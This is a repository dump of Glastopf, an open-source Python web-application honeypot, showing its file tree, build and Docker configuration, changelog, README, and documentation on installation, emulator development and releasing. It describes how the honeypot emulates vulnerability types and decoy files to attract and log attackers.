├── .gitignore ├── .travis.yml ├── Changelog.txt ├── Dockerfile ├── GPL ├── MANIFEST.in ├── README.rst ├── bin ├── __init__.py └── glastopf-runner ├── distribute_setup.py ├── docs ├── Makefile ├── make.bat ├── source │ ├── _static │ │ └── Feasible_Web_Threat_Solution.pdf │ ├── background.rst │ ├── conf.py │ ├── development │ │ ├── Sandbox.rst │ │ ├── braindump.rst │ │ ├── emulators.rst │ │ ├── guidelines.rst │ │ ├── index.rst │ │ └── releasing.rst │ ├── glastopf_version.py │ ├── index.rst │ └── installation │ │ ├── index.rst │ │ ├── installation_debian.rst │ │ ├── installation_docker.rst │ │ ├── installation_openbsd.rst │ │ ├── installation_osx.rst │ │ ├── installation_raspberry.rst │ │ └── installation_ubuntu.rst └── update-site.sh ├── glastopf ├── __init__.py ├── glastopf.cfg.dist ├── glastopf.py ├── modules │ ├── HTTP │ │ ├── __init__.py │ │ ├── handler.py │ │ └── method_handler.py │ ├── __init__.py │ ├── classification │ │ ├── __init__.py │ │ ├── request.py │ │ ├── sql.py │ │ └── sql_utils │ │ │ ├── __init__.py │ │ │ ├── patterns.xml │ │ │ ├── queries.xml │ │ │ ├── responses.py │ │ │ ├── responses.xml │ │ │ ├── token_map.json │ │ │ └── tokenizer.py │ ├── events │ │ ├── __init__.py │ │ └── attack.py │ ├── handlers │ │ ├── __init__.py │ │ ├── base_emulator.py │ │ ├── emulators │ │ │ ├── __init__.py │ │ │ ├── comments.py │ │ │ ├── data │ │ │ │ ├── dork_pages │ │ │ │ │ └── .placeholder │ │ │ │ ├── favicon │ │ │ │ │ └── favicon.ico │ │ │ │ ├── phpinfo │ │ │ │ │ └── phpinfo.html │ │ │ │ ├── phpmyadmin │ │ │ │ │ └── script_setup.php │ │ │ │ ├── robots │ │ │ │ │ └── robots.txt │ │ │ │ ├── server_files │ │ │ │ │ └── phpMyAdmin │ │ │ │ │ │ ├── ChangeLog │ │ │ │ │ │ ├── Documentation.txt │ │ │ │ │ │ ├── INSTALL │ │ │ │ │ │ ├── README │ │ │ │ │ │ └── translators.html │ │ │ │ ├── style │ │ │ │ │ └── style.css │ │ │ │ ├── templates │ │ │ │ │ ├── base.html │ │ │ │ │ └── index.html │ │ │ │ ├── tomcat │ │ │ │ │ ├── manager.html │ │ │ │ │ └── manager_status.html │ │ │ │ └── virtualdocs │ │ │ │ │ ├── .placeholder │ │ │ │ │ └── linux │ │ │ │ │ ├── .placeholder │ │ │ │ │ ├── etc │ │ │ │ │ ├── .placeholder │ │ │ │ │ ├── group │ │ │ │ │ ├── passwd │ │ │ │ │ └── shadow │ │ │ │ │ └── proc │ │ │ │ │ ├── .placeholder │ │ │ │ │ └── self │ │ │ │ │ └── environ │ │ │ ├── dork_list │ │ │ │ ├── __init__.py │ │ │ │ ├── comments.txt │ │ │ │ ├── data │ │ │ │ │ ├── dorks.txt │ │ │ │ │ └── pride.txt │ │ │ │ ├── database_mongo.py │ │ │ │ ├── database_sqla.py │ │ │ │ ├── dork_file_processor.py │ │ │ │ ├── dork_page_generator.py │ │ │ │ ├── mnem_service.py │ │ │ │ └── remote_exploits.py │ │ │ ├── dummy.py │ │ │ ├── favicon_ico.py │ │ │ ├── file_server.py │ │ │ ├── head.py │ │ │ ├── lfi.py │ │ │ ├── login.py │ │ │ ├── options.py │ │ │ ├── php_cgi_rce.py │ │ │ ├── phpinfo.py │ │ │ ├── phpmyadmin.py │ │ │ ├── put.py │ │ │ ├── rfi.py │ │ │ ├── robots.py │ │ │ ├── sqli.py │ │ │ ├── style_css.py │ │ │ ├── surface │ │ │ │ ├── __init__.py │ │ │ │ └── create_surface.py │ │ │ ├── tomcat_manager.py │ │ │ ├── tomcat_status.py │ │ │ ├── trace.py │ │ │ └── unknown.py │ │ └── request_handler.py │ ├── logging_handler.py │ ├── privileges.py │ ├── processing │ │ ├── __init__.py │ │ ├── ip_profile.py │ │ ├── profiler.py │ │ ├── scan.py │ │ └── scans_table.py │ ├── reporting │ │ ├── __init__.py │ │ ├── auxiliary │ │ │ ├── __init__.py │ │ │ ├── base_logger.py │ │ │ ├── log_hpfeeds.py │ │ │ ├── log_logstash.py │ │ │ ├── log_mail.py │ │ │ ├── log_profiler.py │ │ │ ├── log_s3.py │ │ │ ├── log_surfcertids.py │ │ │ ├── log_syslog.py │ │ │ ├── log_taxii.py │ │ │ └── stix │ │ │ │ ├── __init__.py │ │ │ │ ├── stix_glastopf_template.xml │ │ │ │ └── stix_transform.py │ │ └── main │ │ │ ├── __init__.py │ │ │ ├── log_mongodb.py │ │ │ └── log_sql.py │ └── vdocs.py ├── requests.xml ├── sandbox │ ├── Makefile │ ├── __init__.py │ ├── functions.py │ ├── generate.py │ ├── replacement │ │ ├── __init__.py │ │ ├── execute.py │ │ ├── getenv.py │ │ ├── ini_get.py │ │ ├── passthru.py │ │ ├── popen.py │ │ ├── shell_exec.py │ │ └── system.py │ └── sandbox.py ├── testing │ ├── __init__.py │ ├── data │ │ ├── dorks_reduced.txt │ │ └── events_500.bson │ ├── helpers.py │ ├── mitre_stix_validator.py │ ├── test_classifiers.py │ ├── test_dork_list.py │ ├── test_emulators.py │ ├── test_honeypot.py │ ├── test_hpfeeds.py │ ├── test_http_handler.py │ ├── test_mnemosyne.py │ ├── test_reporting_main_mongo.py │ ├── test_reporting_main_sqla.py │ ├── test_sqli.py │ ├── test_stix.py │ ├── test_surface.py │ ├── test_surfcertids.py │ └── test_vdocs.py └── wsgi_wrapper.py ├── init.d └── glastopf ├── requirements.txt └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | *.swp 3 | __pycache__ 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Packages 9 | *.egg 10 | *.egg-info 11 | dist 12 | build 13 | eggs 14 | parts 15 | var 16 | sdist 17 | develop-eggs 18 | .installed.cfg 19 | lib 20 | lib64 21 | 22 | # Installer logs 23 | pip-log.txt 24 | 25 | # Unit test / coverage reports 26 | .coverage 27 | .tox 28 | nosetests.xml 29 | 30 | # Translations 31 | *.mo 32 | 33 | # virtualenv 34 | venv/ 35 | 36 | # Mr Developer 37 | .mr.developer.cfg 38 | .project 39 | .pydevproject 40 | glastopf.cfg 41 | .vscode 42 | 43 | glastopf/sandbox/sandbox.php 44 | log/ 45 | work_dir/ 46 | data/ 47 | db/ 48 | 49 | *.gz 50 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | services: 3 | - mongodb 4 | python: 5 | - "2.7" 6 | virtualenv: 7 | system_site_packages: true 8 | before_install: 9 | - REPO=`pwd` 10 | #- phpenv versions 11 | #- phpenv shell 7.1 12 | - sudo add-apt-repository -y ppa:ondrej/php 13 | - sudo apt-get -qq update 14 | - sudo apt-get -qq install python-dev gfortran libxml2 dnsutils php7.0-dev 15 | - sudo service mongod restart 16 | # Install hpfeeds 17 | - cd /tmp 18 | - git clone git://github.com/rep/hpfeeds.git hpfeeds 19 | - cd hpfeeds 20 | - python setup.py install 21 | # Install Better Function Replacer (BFR) 22 | - cd /tmp 23 | - git clone git://github.com/mushorg/BFR.git 24 | - cd BFR 25 | - phpize7.0 26 | - ./configure --enable-bfr --disable-maintainer-zts 27 | - make 28 | - sudo make install 29 | # TODO: Extract path from output 30 | - sudo bash -c 'echo "enable_dl = On >> /etc/php/7.0/cli/php.ini"' 31 | - sudo bash -c 'echo "zend_extension = "$(find /home/travis/.phpenv/versions -name bfr.so) >> /etc/php/7.0/cli/php.ini' 32 | - php7.0 --version 33 | - cd $REPO/glastopf/sandbox 34 | - sudo make 35 | - pwd 36 | # install pylibinjection 37 | - cd /tmp 38 | - pip install cython 39 | - git clone --recursive https://github.com/mushorg/pylibinjection.git 40 | - cd pylibinjection 41 | - python setup.py install 42 | install: 43 | - export PYTHONIOENCODING=UTF8 # just in case 44 | - cd $REPO 45 | - pip install -r requirements.txt 46 | # command to run tests 47 | script: 48 | - nosetests 49 | -------------------------------------------------------------------------------- /Changelog.txt: -------------------------------------------------------------------------------- 1 | Glastopf 3.1.2 (release 2014-02-19) 2 | * Fixed delay while bootstrapping the dork database. 3 | 4 | Glastopf 3.1.1 (release 2014-02-17) 5 | * Fixed surf cert IDS logger (Issue #140). 6 | * Syslog logger now outputs sensor host/port instead of the attacker supplied HOST header. 7 | * Added STIX/TAXII logger. 8 | * Detection of SQLi attempts are now done using Libinjection from CLient9. 9 | * Various minor improvements and bugfixes. 10 | * Attack surface now customizable. 11 | * Not backwards compatible with Glastopf 3.0.8 12 | 13 | Glastopf 3.0.8 (release 2013-06-06) 14 | * Added configurable server banner. 15 | * Fixed MySQL bug which crashed the log worker on certain requests. 16 | * Fixed HPFriends bug which crashed the log worker when transmitting events with attached files. 17 | 18 | Glastopf 3.0.7 (release 2013-05-03) 19 | * Added support for Jinja2 templates. 20 | * Fixed MySQL logging (Issue #81). 21 | * Fixed files logging with hpfeed (Issue #81). 22 | * Changed http parsing to use the builtin BaseHTTPRequestHandler (Issue #76, #75). 23 | * Disabled profiling support. 24 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:14.04.1 2 | MAINTAINER Lukas Rist 3 | 4 | ENV DEBIAN_FRONTEND noninteractive 5 | 6 | ## setup APT 7 | RUN sed -i '1ideb mirror://mirrors.ubuntu.com/mirrors.txt trusty main restricted universe multiverse' /etc/apt/sources.list && \ 8 | sed -i '1ideb mirror://mirrors.ubuntu.com/mirrors.txt trusty-updates main restricted universe multiverse' /etc/apt/sources.list && \ 9 | sed -i '1ideb mirror://mirrors.ubuntu.com/mirrors.txt trusty-backports main restricted universe multiverse' /etc/apt/sources.list && \ 10 | sed -i '1ideb mirror://mirrors.ubuntu.com/mirrors.txt trusty-security main restricted universe multiverse' /etc/apt/sources.list 11 | 12 | ## Install dependencies 13 | RUN apt-get update && apt-get install -y \ 14 | build-essential \ 15 | g++ \ 16 | gfortran \ 17 | git \ 18 | libevent-dev \ 19 | liblapack-dev \ 20 | libmysqlclient-dev \ 21 | libxml2-dev \ 22 | libxslt-dev \ 23 | make \ 24 | python-beautifulsoup \ 25 | python-chardet \ 26 | python-dev \ 27 | python-gevent \ 28 | python-lxml \ 29 | python-openssl \ 30 | python-pip \ 31 | python-requests \ 32 | python-setuptools \ 33 | python-sqlalchemy \ 34 | python-mysqldb \ 35 | cython \ 36 | python-dateutil \ 37 | python2.7 \ 38 | python2.7-dev \ 39 | software-properties-common \ 40 | && \ 41 | apt-get clean && \ 42 | rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 43 | 44 | RUN locale-gen en_US.UTF-8 && export LANG=en_US.UTF-8 && LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php && apt-get update 45 | 46 | RUN apt-get install -y --force-yes php7.0 php7.0-dev 47 | 48 | ## Install and configure the PHP sandbox 49 | RUN git clone https://github.com/mushorg/BFR.git /opt/BFR && \ 50 | cd /opt/BFR && \ 51 | phpize7.0 && \ 52 | ./configure --enable-bfr && \ 53 | make && \ 54 | make install && \ 55 | echo "zend_extension = "$(find /usr -name bfr.so) >> /etc/php/7.0/cli/php.ini && \ 56 | rm -rf /opt/BFR /tmp/* /var/tmp/* 57 | 58 | 59 | ## Install glastopf from latest sources 60 | RUN git clone https://github.com/mushorg/glastopf.git /opt/glastopf && \ 61 | cd /opt/glastopf && \ 62 | python setup.py install && \ 63 | rm -rf /opt/glastopf /tmp/* /var/tmp/* 64 | 65 | ## Configuration 66 | RUN mkdir /opt/myhoneypot 67 | 68 | EXPOSE 80 69 | WORKDIR /opt/myhoneypot 70 | CMD ["glastopf-runner"] 71 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md 2 | include distribute_setup.py 3 | include requirements.txt 4 | include glastopf/sandbox/Makefile 5 | recursive-include glastopf *.* 6 | recursive-exclude glastopf *.pyc 7 | recursive-exclude glastopf/testing *.* 8 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | We highly recommend to check out the Glastopf successor `SNARE `_ and `TANNER `_. 2 | 3 | Glastopf |Build Status| 4 | ======================= 5 | 6 | .. |Build Status| image:: https://travis-ci.org/mushorg/glastopf.svg?branch=master 7 | :target: https://travis-ci.org/mushorg/glastopf 8 | 9 | ABOUT 10 | ----- 11 | 12 | Glastopf is a Python web application honeypot founded by Lukas Rist. 13 | 14 | General approach: 15 | 16 | - Vulnerability *type* emulation instead of vulnerability emulation. Once a vulnerability type is emulated, Glastopf can handle unknown attacks of the same type. While implementation may be slower and more complicated, we remain ahead of the attackers until they come up with a new method or discover a new flaw in our implementation. 17 | - Modular design to add new logging capabilities or attack type handlers. Various database capabilities are already in place. HPFeeds logging is supported for centralized data collection. 18 | - Popular attack type emulation is already in place: Remote File Inclusion via a build-in PHP sandbox, Local File Inclusion providing files from a virtual file system and HTML injection via POST requests. 19 | - Adversaries usually use search engines and special crafted search requests to find their victims. In order to attract them, Glastopf provides those keywords (AKA "dork") and additionally extracts them from requests, extending its attack surface automatically. As a result, the honeypot gets more and more attractive with each new attack attempted on it. 20 | - We will make the SQL injection emulator public, provide IP profiling for crawler recognition and intelligent dork selection. 21 | 22 | INSTALL 23 | ------- 24 | Installation instructions can be found `here `_. 25 | 26 | It is highly recommended to customize the default attack surface to avoid trivial detection of the honeypot. 27 | -------------------------------------------------------------------------------- /bin/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/bin/__init__.py -------------------------------------------------------------------------------- /docs/source/_static/Feasible_Web_Threat_Solution.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/docs/source/_static/Feasible_Web_Threat_Solution.pdf -------------------------------------------------------------------------------- /docs/source/background.rst: -------------------------------------------------------------------------------- 1 | =========== 2 | Background 3 | =========== 4 | 5 | General approach: Vulnerability type emulation instead of vulnerability emulation. 6 | Idea: Once 'perfectly' emulated we are able to handle unknown attacks from the same type. 7 | Implementation might be more complicated and delays the proper handling but once in place we are ahead of the 8 | attackers until the come up with a new method or flaw in on our side. 9 | Modular design to add new logging capabilities or attack type handler. 10 | Various database capabilities already in place. HPFeeds logging for centralized data collection. 11 | Popular attack type emulation already in place. 12 | Remote File Inclusion via a build-in PHP sandbox, Local file Inclusion providing files from a virtual file system and HTML injection via POST requests. 13 | The adversaries usually use search engines and special crafted search requests to find their victims. 14 | In order to attract them, Glastopf provide those keywords (aka dork) and extracts them also from request and extends it's attack surface automatically. 15 | So over time and with a growing number of attacks, the honeypot gets more and more attractive. 16 | In the feature we will make the SQL injection emulator pubic, provide IP profiling for crawler recognition and intelligent dork selection. 17 | 18 | Feasible Solution for the Web Threat Jigsaw 19 | -------------------------------------------- 20 | Web sites are today's biggest and most vulnerable attack surface. A single compromised page can give you a lot of bang for your bugs. 21 | 22 | Learning from expensive breaches was never feasible. We will explain how to use Honeypot, Sandbox and Botnet monitoring technology to gain 23 | information about current threats which ultimately helps us to find vulnerabilities before they get exploited, insight into the malware 24 | distribution network and the botnets used for mass exploitation. 25 | 26 | Slides: :download:`pdf ` (408kb) 27 | 28 | Video: `Youtube `_ (15 minutes) -------------------------------------------------------------------------------- /docs/source/development/braindump.rst: -------------------------------------------------------------------------------- 1 | ========== 2 | Braindump 3 | ========== 4 | 5 | Attack classification 6 | ---------------------- 7 | We can use the PHPIDS rules? https://dev.itratos.de/projects/php-ids/repository/entry/trunk/lib/IDS/default_filter.xml 8 | 9 | SPDY 10 | ----- 11 | Do we want to support SPDY? http://dev.chromium.org/spdy/spdy-protocol/spdy-protocol-draft1 12 | 13 | PHP Interpreter 14 | ---------------- 15 | The REAL PHP interpreter would be awesome for RFI analysis and response generation. Maybe separated from the honeypot. 16 | I'm working on a modified version of Jose Nazario's PHP sandbox using funcall for PHP script analysis: http://monkey.org/~jose/software/rfi-sandbox/ 17 | I'll add the code to Glastopf later. 18 | We should think about if we want to provide this as a service for Glastopf instances. 19 | 20 | SQL interpreter 21 | ---------------- 22 | Interpreter for SQL injections? 23 | 24 | Jeremy: I guess detection of SQL input might be detected with the key Data Description and Manipulation Language keywords (CREATE, INSERT, etc). Wouldn't be very hard to discover the attacker's purpose. What's interesting to explore might be a probabilistic SQL module to the honeypot. 25 | 26 | Jeremy's Dump after attending PyCon APAC 27 | ========================================= 28 | 29 | mod_wsgi 30 | --------- 31 | Possible integration option with the Apache webserver? Perhaps as a setup option as a complement to investigate attacks on an exposed/production server? 32 | 33 | Lukas: Maybe setting up Apache as a proxy to Glastopf? 34 | 35 | python curses 36 | -------------- 37 | Cool terminal interface. 38 | 39 | Modular Structure 40 | ------------------ 41 | A general purpose honeypot extensible by Python modules? 42 | 43 | Lukas: You mean more general than a web server honeypot? I'm not sure if this is too much ;) -------------------------------------------------------------------------------- /docs/source/development/emulators.rst: -------------------------------------------------------------------------------- 1 | ========= 2 | Emulators 3 | ========= 4 | 5 | Developing an attack emulator 6 | ============================= 7 | 8 | Introduction 9 | ------------ 10 | Glastopf's modular design allows for easy extension of the honeypot. This text will 11 | briefly demonstrate how to build a simple emulator which will emulate the very popular, 12 | and imaginary, php beerservice. 13 | 14 | Creating a new handler from scratch involves two steps: 15 | 16 | 1. Adding a detection rule. 17 | 2. Writing an emulator to handle the request. 18 | 19 | 20 | Detection pattern 21 | ----------------- 22 | A detection pattern is a regular expression which is tested against the url of 23 | incoming requests. The following pattern will match all requests which starts 24 | with ``/beerservice.php``. 25 | 26 | .. code-block:: xml 27 | 28 | 29 | 24 30 | beer service 31 | 32 | beerservice 33 | 34 | 35 | All request patterns can be found in the requests.xml file. 36 | 37 | Adding a basic emulator 38 | ----------------------- 39 | 40 | To create this emulator (handler), we need to create a module (file) with a filename 41 | that matches the ```` tag from the detection pattern. This module needs to be placed 42 | in the ``emulators`` directory. The python file for the beerservice module will be placed at:: 43 | 44 | glastopf/modules/handlers/emulators/beerservice.py 45 | 46 | To create a basic handler we need to create a class with the following characteristics: 47 | 48 | - Inherits from ``base_emulator.BaseEmulator``. 49 | - Override the ``handle(self, attack_event)`` method to provide the needed emulation. 50 | 51 | To return http response back to the client you need to call the ``attack_event.http_request.set_response`` method which 52 | takes care of proper http header and other tedious stuff. If you need full control of the entire http response you can 53 | use ``attack_event.http_request.set_response`` instead. The following code shows a simple implementation 54 | of the beerservice emulator. 55 | 56 | .. code-block:: python 57 | 58 | from glastopf.modules.handlers import base_emulator 59 | import urlparse 60 | 61 | class BeerManager(base_emulator.BaseEmulator): 62 | def __init__(self, data_dir): 63 | super(BeerManager, self).__init__(data_dir) 64 | 65 | def handle(self, attack_event): 66 | beer = attack_event.http_request.request_query['type][0] 67 | reponse = '{0} is a pretty lousy type of beer!'.format(beer) 68 | attack_event.http_request.set_response(reponse) 69 | 70 | 71 | We can now start Glastopf and test our new emulator as follows. 72 | 73 | .. code-block:: bash 74 | 75 | $ curl http://localhost:8080/beerservice.php?type=Rauchbier 76 | Rauchbier is a pretty lousy type of beer! 77 | 78 | Adding files 79 | ------------ 80 | If you need to add datafiles, you can add these to the data directory at:: 81 | 82 | glastopf/modules/handlers/emulators/data 83 | 84 | All content of this directory will automatically be copied to the work directory 85 | of Glastopf, which allows for easy customization. You can get the path to the 86 | data directory by reading ``self.data_dir``. -------------------------------------------------------------------------------- /docs/source/development/guidelines.rst: -------------------------------------------------------------------------------- 1 | ================ 2 | Guidelines 3 | ================ 4 | 5 | Developers Guide 6 | ================ 7 | 8 | Indentation 9 | ---------------- 10 | * We are using 4 tab-spaces 11 | * No one line conditionals 12 | 13 | Style 14 | ---------------- 15 | * We obey to the `PEP8 `_ 16 | 17 | Copyright 18 | ---------------- 19 | * If you are adding a file/code which is produced only by you, feel free to add the license information and a notice who holds the copyrights. 20 | 21 | Environment 22 | ---------------- 23 | * `Eclipse `_ with `PyDev `_ and `Subclipse `_ is a good combination. 24 | 25 | Glastopf-runner for developers 26 | ------------------------------ 27 | It is recommended to use the *develop* functionality of distutils while hacking on glastopf. 28 | When using *develop* a egg link pointing to your repository directory will be places in site-packages - 29 | which saves you from doing **python setup.py install** over and over again. Example:: 30 | 31 | $ python setup.py develop 32 | 33 | Checking if the egg was created as planned:: 34 | 35 | $ cat /Users/jkv/virtualenv/glastopf/lib/python2.7/site-packages/Glastopf.egg-link 36 | /Users/jkv/repos/glastopf 37 | ^ output from cat 38 | 39 | After this, we can create a tmp workdir and start testing directly from the repo:: 40 | 41 | $ pwd 42 | /Users/jkv/repos/glastopf 43 | $ mkdir tmp 44 | $ cd tmp/ 45 | $ python ../bin/glastopf-runner 46 | 2013-04-17 11:29:11,335 (glastopf.glastopf) Initializing Glastopf using "/Users/jkv/repos/glastopf/tmp" as work directory. 47 | 2013-04-17 11:29:11,337 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 48 | 49 | 50 | -------------------------------------------------------------------------------- /docs/source/development/index.rst: -------------------------------------------------------------------------------- 1 | .. Development chapter frontpage 2 | 3 | Development 4 | =========== 5 | 6 | Basics on how to develop Glastopf 7 | 8 | .. toctree:: 9 | 10 | guidelines 11 | braindump 12 | emulators -------------------------------------------------------------------------------- /docs/source/development/releasing.rst: -------------------------------------------------------------------------------- 1 | ================== 2 | Releasing Glastopf 3 | ================== 4 | 5 | Before releasing 6 | ================ 7 | 8 | Remove -dev from version numbers in the following files:: 9 | 10 | * setup.py 11 | * glastopf/__init__.py 12 | 13 | Add and push a git tag: 14 | 15 | git tag -a $VERSION_NUMBER$ 16 | git push --tag 17 | 18 | 19 | 20 | Releasing 21 | ========= 22 | 23 | Build package: 24 | 25 | python setup.py sdist 26 | 27 | Finally upload the package to PYPI. 28 | 29 | 30 | After releasing 31 | =============== 32 | 33 | Append -dev to version numbers in the following files:: 34 | 35 | * setup.py 36 | * glastopf/__init__.py 37 | 38 | 39 | Notes 40 | ===== 41 | 42 | If you fucked up a tag, you can fix it using the following procedure: 43 | 44 | Renaming: 45 | 46 | git tag new_tag old_tag 47 | 48 | Delete the old tag: 49 | 50 | git tag -d old_tag 51 | 52 | Delete the old tag on remote: 53 | 54 | git push origin :refs/tags/old_tag 55 | -------------------------------------------------------------------------------- /docs/source/glastopf_version.py: -------------------------------------------------------------------------------- 1 | __version__ = '3.1.1' 2 | -------------------------------------------------------------------------------- /docs/source/index.rst: -------------------------------------------------------------------------------- 1 | .. Glastopf documentation master file, created by 2 | sphinx-quickstart on Thu Nov 29 11:48:58 2012. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Welcome to Glastopf's documentation! 7 | ==================================== 8 | 9 | Contents: 10 | 11 | .. toctree:: 12 | :maxdepth: 2 13 | 14 | development/index 15 | installation/index 16 | background 17 | 18 | 19 | 20 | Indices and tables 21 | ================== 22 | 23 | * :ref:`genindex` 24 | * :ref:`modindex` 25 | * :ref:`search` 26 | 27 | -------------------------------------------------------------------------------- /docs/source/installation/index.rst: -------------------------------------------------------------------------------- 1 | .. Installation chapter frontpage 2 | 3 | Installation 4 | ============ 5 | 6 | Basics instruction on how to install Glastopf 7 | 8 | .. toctree:: 9 | 10 | requirements 11 | 12 | Upgrade 13 | ------- 14 | 15 | Upgrading Glastopf might break backwards compatibility. If this is the case, we will add a note to the 16 | changelog and the release info. 17 | 18 | Generally upgrading the required Python module is a good idea: pip install -U $module_name 19 | -------------------------------------------------------------------------------- /docs/source/installation/installation_debian.rst: -------------------------------------------------------------------------------- 1 | Glastopf Installation - Debian Squeeze 2 | --------------------------------------- 3 | | 4 | | 5 | 6 | Prerequisites 7 | ============= 8 | | 9 | 10 | Add the Backports repository to your sources.list:: 11 | 12 | deb http://backports.debian.org/debian-backports squeeze-backports main 13 | 14 | Or (for Wheezy):: 15 | 16 | deb http://ftp.debian.org/debian/ wheezy-backports main 17 | 18 | | 19 | Install the dependencies:: 20 | 21 | apt-get update 22 | apt-get install python python-openssl python-gevent libevent-dev python-dev build-essential make 23 | apt-get install python-argparse python-chardet python-requests python-sqlalchemy python-lxml 24 | apt-get install python-beautifulsoup mongodb python-pip python-dev python-setuptools 25 | apt-get install g++ git php5 php5-dev liblapack-dev gfortran 26 | apt-get install libxml2-dev libxslt-dev 27 | apt-get install libmysqlclient-dev 28 | pip install --upgrade distribute 29 | | 30 | 31 | Install and configure the PHP sandbox 32 | ===================================== 33 | | 34 | Download using git:: 35 | 36 | cd /opt 37 | git clone git://github.com/mushorg/BFR.git 38 | cd BFR 39 | phpize 40 | ./configure --enable-bfr 41 | make && make install 42 | 43 | 44 | Copy the search path to bfr.so and add it to php.ini. It can look like this:: 45 | 46 | zend_extension = /usr/lib/php5/20131226/bfr.so 47 | 48 | | 49 | 50 | Install glastopf 51 | ================== 52 | | 53 | Install latest stable release from pip:: 54 | 55 | pip install glastopf 56 | 57 | Or install latest development version from the repository:: 58 | 59 | cd /opt 60 | git clone https://github.com/mushorg/glastopf.git 61 | git clone https://github.com/client9/libinjection.git 62 | git clone https://github.com/mushorg/pylibinjection.git 63 | cd glastopf 64 | python setup.py install 65 | | 66 | 67 | Configuration 68 | ========================= 69 | | 70 | 71 | Prepare glastopf environment:: 72 | 73 | cd /opt 74 | mkdir myhoneypot 75 | cd myhoneypot 76 | glastopf-runner 77 | 78 | A new default glastopf.cfg has been created in *myhoneypot*, which can be customized as required. 79 | 80 | | 81 | 82 | 83 | Testing the Honeypot 84 | ==================== 85 | | 86 | 87 | Start Glastopf (from your 'myhoneypot' directory):: 88 | 89 | glastopf-runner 90 | 91 | Use your web browser to visit your honeypot. You should see the following output on your command line:: 92 | 93 | 2013-03-13 21:10:33,047 (glastopf.glastopf) Initializing Glastopf using "/opt/myhoneypot" as work directory. 94 | 2013-03-13 21:10:33,048 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 95 | 2013-03-13 21:10:33,073 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connecting to feed broker. 96 | 2013-03-13 21:10:33,237 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connected to hpfeed broker. 97 | 2013-03-13 21:10:36,290 (glastopf.glastopf) Glastopf started and privileges dropped. 98 | 2013-03-13 21:10:56,282 (glastopf.glastopf) 192.168.1.148 requested GET / on 192.168.1.109 99 | 2013-03-13 21:10:56,401 (glastopf.glastopf) 192.168.1.148 requested GET /style.css on 192.168.1.109 100 | 2013-03-13 21:10:56,463 (glastopf.glastopf) 192.168.1.148 requested GET /favicon.ico on 192.168.1.109 101 | 102 | -------------------------------------------------------------------------------- /docs/source/installation/installation_docker.rst: -------------------------------------------------------------------------------- 1 | Glastopf Installation - Docker 2 | ------------------------------ 3 | | 4 | | 5 | 6 | Prerequisites 7 | ============= 8 | | 9 | 10 | A server with `Docker `_ installed 11 | 12 | | 13 | 14 | Build the Docker container image 15 | ================================ 16 | | 17 | 18 | docker build --rm --tag glastopf . 19 | 20 | | 21 | 22 | Running the Docker container 23 | ============================ 24 | | 25 | 26 | mkdir myhoneypot1 27 | 28 | docker run --detach --publish 80:80 --volume myhoneypot1:/opt/myhoneypot glastopf 29 | 30 | A new default glastopf.cfg has been created in *myhoneypot1*, which can be customized as required. 31 | 32 | | 33 | 34 | 35 | Testing the Honeypot 36 | ==================== 37 | | 38 | 39 | Use your web browser to visit your honeypot. You should see the following output on your command line:: 40 | 41 | 2013-03-14 08:34:08,129 (glastopf.glastopf) Initializing Glastopf using "/opt/myhoneypot" as work directory. 42 | 2013-03-14 08:34:08,130 (glastopf.glastopf) Connecting to main database with: sqlite:///db/glastopf.db 43 | 2013-03-14 08:34:08,152 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connecting to feed broker. 44 | 2013-03-14 08:34:08,227 (glastopf.modules.reporting.auxiliary.log_hpfeeds) Connected to hpfeed broker. 45 | 2013-03-14 08:34:11,265 (glastopf.glastopf) Glastopf started and privileges dropped. 46 | 2013-03-14 08:34:32,853 (glastopf.glastopf) 192.168.10.85 requested GET / on 192.168.10.102 47 | 2013-03-14 08:34:32,960 (glastopf.glastopf) 192.168.10.85 requested GET /style.css on 192.168.10.102 48 | 2013-03-14 08:34:33,021 (glastopf.glastopf) 192.168.10.85 requested GET /favicon.ico on 192.168.10.102 49 | 50 | -------------------------------------------------------------------------------- /docs/source/installation/installation_openbsd.rst: -------------------------------------------------------------------------------- 1 | Glastopf Installation 2 | ---------------------- 3 | | 4 | | 5 | 6 | Prerequisites OpenBSD 7 | ===================== 8 | | 9 | 10 | Install the dependencies:: 11 | 12 | pkg_add -r python-2.7.3 py-pip py-gevent mysql-client py-openssl py-chardet py-sqlalchemy py-lxml py-beautifulsoup py-setuptools py-jinja2 py-scipy php pear autoconf automake g77 gfortran plplot-f77 libgfortran libevent libelf plplot git lapack gettext 13 | 14 | | 15 | 16 | Create symbolic links:: 17 | 18 | ln -sf /usr/local/bin/php-config-5.3 /usr/local/bin/php-config 19 | ln -sf /usr/local/bin/phpize-5.3 /usr/local/bin/phpize 20 | ln -sf /usr/local/bin/python2.7 /usr/local/bin/python 21 | ln -sf /usr/local/bin/python2.7-2to3 /usr/local/bin/2to3 22 | ln -sf /usr/local/bin/python2.7-config /usr/local/bin/python-config 23 | ln -sf /usr/local/bin/pydoc2.7 /usr/local/bin/pydoc 24 | ln -sf /usr/local/bin/pip-2.7 /usr/local/bin/pip 25 | 26 | | 27 | 28 | Set autoconf and automake versions:: 29 | 30 | export AUTOCONF_VERSION=2.59 31 | export AUTOMAKE_VERSION=1.9 32 | 33 | 34 | | 35 | 36 | Install BFR 37 | =========== 38 | | 39 | 40 | Download using git:: 41 | 42 | cd /opt 43 | git clone git://github.com/mushorg/BFR.git 44 | cd BFR 45 | phpize 46 | ./configure 